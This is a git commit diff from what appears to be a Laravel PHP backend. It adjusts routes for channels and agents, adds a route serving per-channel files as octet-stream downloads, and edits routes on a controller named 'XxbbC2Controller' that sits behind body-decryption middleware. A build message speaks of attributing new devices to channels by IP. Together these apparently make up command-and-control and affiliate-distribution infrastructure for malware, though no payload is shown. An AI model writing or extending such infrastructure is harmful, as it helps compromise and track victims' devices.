feat: new channel

This commit is contained in:
hashbro
2026-08-15 02:56:38 +08:00
parent 5453d9d69b
commit 7c0066562f
45 changed files with 1686 additions and 965 deletions
+3 -1
View File
@@ -34,6 +34,9 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index');
Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data');
Route::get('filter-options/channels', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'channels'])->name('filterOptions.channels');
Route::get('filter-options/agents', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'agents'])->name('filterOptions.agents');
Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index');
Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data');
Route::get('visits/groups', [PageVisitController::class, 'groups'])->name('visits.groups');
@@ -73,7 +76,6 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
Route::get('channels/random-id', [ChannelController::class, 'randomId'])->name('channels.randomId');
Route::post('channels', [ChannelController::class, 'store'])->name('channels.store');
Route::get('channels/{channel}/download', [ChannelController::class, 'download'])->name('channels.download');
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
Route::delete('channels/{channel}', [ChannelController::class, 'destroy'])->name('channels.destroy');
+1 -1
View File
@@ -101,7 +101,7 @@ Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () {
}
$configured = strtolower(trim((string) config('coruna.xxbb.channel_c', '')));
if ($c !== '' && $configured !== $c) {
$this->warn('把上面的 XXBB_CHANNEL_C 写入 .env,新建设备才能按 IP 归因到渠道。');
$this->warn('把上面的 XXBB_CHANNEL_C 写入 .env;新建渠道会始终用 env 中的 c 构建。');
}
return 0;
+3 -2
View File
@@ -23,6 +23,8 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index');
Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data');
Route::get('filter-options/channels', [\App\Http\Controllers\Admin\FilterOptionsController::class, 'channels'])->name('filterOptions.channels');
Route::get('visits', [PageVisitController::class, 'index'])->name('visits.index');
Route::get('visits/data', [PageVisitController::class, 'data'])->name('visits.data');
Route::get('visits/groups', [PageVisitController::class, 'groups'])->name('visits.groups');
@@ -54,8 +56,7 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
Route::get('channels', [ChannelController::class, 'index'])->name('channels.index');
Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
Route::get('channels/{channel}/download', [ChannelController::class, 'download'])->name('channels.download');
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
// Agent portal: view/edit/download own channel links only (no create/delete).
// Agent portal: view/edit own channel links only (no create/delete).
});
});
+14
View File
@@ -1,6 +1,7 @@
<?php
use App\Http\Controllers\PageHitController;
use App\Models\Channel;
use Illuminate\Support\Facades\Route;
// Route::get('/', function () {
@@ -9,3 +10,16 @@ use Illuminate\Support\Facades\Route;
// Anonymous page-visit beacon (PV/UV); no session / CSRF.
Route::match(['GET', 'POST'], '/statistic/t', PageHitController::class)->name('page.hit');
// Equal-length alias for secondary's hardcoded /details/show.html → /c/{ver}/show.htm
Route::get('/c/{ver}/show.htm', function (string $ver) {
$ver = Channel::normalizeNewChannelId($ver);
abort_if($ver === null, 404);
$path = public_path('channel/'.$ver.'/details/show.html');
abort_unless(is_file($path), 404);
return response()->file($path, [
'Content-Type' => 'application/octet-stream',
'Cache-Control' => 'no-store',
]);
})->where('ver', '[0-9A-Za-z]\\.[0-9A-Za-z]\\.[0-9A-Za-z]{2}');
-1
View File
@@ -5,7 +5,6 @@ use App\Http\Middleware\DecryptXxbbBody;
use Illuminate\Support\Facades\Route;
Route::match(['GET', 'HEAD'], '/vhx', [XxbbC2Controller::class, 'vhx']);
Route::post('/api/iptj', [XxbbC2Controller::class, 'iptj']);
Route::middleware([DecryptXxbbBody::class])->group(function () {
Route::post('/a', [XxbbC2Controller::class, 'profile']);